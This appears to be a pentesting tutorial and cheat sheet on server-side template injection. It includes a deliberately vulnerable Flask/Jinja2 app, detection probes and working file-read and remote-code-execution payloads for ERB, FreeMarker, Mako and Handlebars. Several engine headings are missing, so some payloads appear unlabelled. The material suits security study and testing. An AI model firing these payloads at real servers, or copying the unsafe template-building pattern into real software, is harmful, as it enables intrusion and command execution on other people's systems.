Templates are commonly used to generate dynamic web pages on the server side. The generated web page is then served to the user who (if everything works as intended) only sees the finished product.
Jinja2 Template Engine with Python3 Flask web server:
#!/usr/bin/env python3
from flask import Flask, request, make_response
from jinja2 import Template
app = Flask("Cool App!")
products = ["Hammer", "Screwdriver", "Woodscrews"]
example_template = """
<h1>Products:</h1>
<ul>
{%- for product in product_list %}
<li>{{ product }}</li>
{%- endfor %}
</ul>
"""
@app.route('/products')
def products():
template = Template(example_template)
response_body = template.render(product_list=products)
return make_response(response_body)
if __name__ == '__main__':
app.run()
When the user visits: http://server.example/products
Then the user receives:
<h1>Products:</h1>
<ul>
<li>Hammer</li>
<li>Screwdriver</li>
<li>Woodscrews</li>
</ul>
Now if user input is inserted in an unsafe manner into the template before or during the rendering of the template, then it might allow an attacker to access hidden server-side resources (Information leak) and/or execute internal functions of the server application (RCE - Remote Code Execution).
Let us turn that example unsafe:
#!/usr/bin/env python3
from flask import Flask, request, make_response
from jinja2 import Template
app = Flask("Insecure App!!!")
products = ["Hammer", "Screwdriver", "Woodscrews"]
example_template = """
<h1>Products</h1>
<ul>
{%- for product in product_list %}
<li>{{ product }}</li>
{%- endfor %}
</ul>
"""
@app.route('/unsafe')
def unsafe():
name = request.args.get('name', '')
example_template_custom = f"<p>Hello {name}!</p>" + example_template
template = Template(example_template_custom)
response_body = template.render(product_list=products)
return make_response(response_body)
if __name__ == '__main__':
app.run()
http://127.0.0.1:5000/unsafe?name=Bob
<p>Hello Bob!</p>
<h1>Products</h1>
<ul>
<li>Hammer</li>
<li>Screwdriver</li>
<li>Woodscrews</li>
</ul>
http://127.0.0.1:5000/unsafe?name={{7*7}}
<p>Hello 49!</p>
<h1>Products</h1>
<ul>
<li>Hammer</li>
<li>Screwdriver</li>
<li>Woodscrews</li>
</ul>
The input gets interpreted as template syntax.
It is easy to mistake an SSTI vulnerability for simple XSS. For example when the user visits:
http://127.0.0.1:5000/unsafe?name=<script>alert(document.domain)</script>
<p>Hello <script>alert(document.domain)</script>!</p>
<h1>Products</h1>
<ul>
<li>Hammer</li>
<li>Screwdriver</li>
<li>Woodscrews</li>
</ul>
The javascript function alert()
gets executed in the browser of the visitor, which demonstrates the existence of a Cross-Site Scripting vulnerability.
A security researcher might see this, be happy that they found a vulnerability, and miss the more serious underlying SSTI vulnerability.
Portswigger Academy recommends the following test string:
${{<%[%'"}}%\.
It combines the syntax of the most common template engines.
You might have found a template injection if the server response:
- reflects the string changed
- returns nothing
- throws an error
If you can provoke an error message, then it leak the used Template Engine and backend programming language (Python, JavaScript, Java, etc.).
If the server returns a banner in its HTTP responses (e.g. Django) then you should check the most popular template engines for that server type.
Next you should check the following injections:
{{7*7}}
{7*7}
${7*7}
#{7*7}
<%= 7*7 %>
${{7*7}}
#{{7*7}}
If one of those works then the server will reflect back 49
.
Sometimes you also get the same effect without template tags:
7 * 7
And it reflect back 49
.
So the the Portswigger test string is not exhaustive when it comes to identifying all SSTI vulns.
Note: The case without tags could also inidicate an eval()
injection.
Most template engines use similar syntax to one another, which complicates identifying the correct Template Engine.
Exploitation will differ based on the used language and template engine.
Template syntax:
# expression
<%= 7 * 7 %> # prints 49
# execute code directly (does not print anything directly)
<% CODE %>
# comment (does nothing)
<%# COMMENT %>
# print variable content
<%= @myvar %>
<%= scope['variable'] %>
<%= scope.lookupvar('variable')) %>
# conditionals
<% if @mybool == true -%>
<b>I am conditional!</b>
<% end -%>
# for loop
<% @values.each do |val| -%>
Some stuff with <%= val %>
<% end -%>
# call function
<%= scope.function_template(["my_module/template2.erb"]) %>
Exploitation:
# file read
<%= File.open('/etc/passwd').read %>
# dir listing
<%= Dir.entries('/') %>
RCE's:
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Many Python Template engines are based on Jinja. It is Flask's default template engine and it is also used by Ansible, Trac, and Salt.
Unlike the Django Template engine, Jinja allows the calling of functions from the template.
Template syntax:
# expression
{{ 7 * 7 }} # prints 49
{{ obj.func('parameter') }}
# for loop
{%- for product in product_list %}
{{ product }},
{%- endfor %}
# if-else
{% if not truthvalue %}
<b>I am conditional!</b>
{% endif %}
${1+1}
#{3 * 3}
File read:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
# you have to convert the byte values to ascii
RCE:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
RCE:
<%
import os
x=os.popen('id').read()
%>
${x}
RCE (insert your commands in line 9):
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
You probably want to remove the new-lines/whitespace and url-encode it when you inject it via GET/POST parameter.
- https://portswigger.net/web-security/server-side-template-injection
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf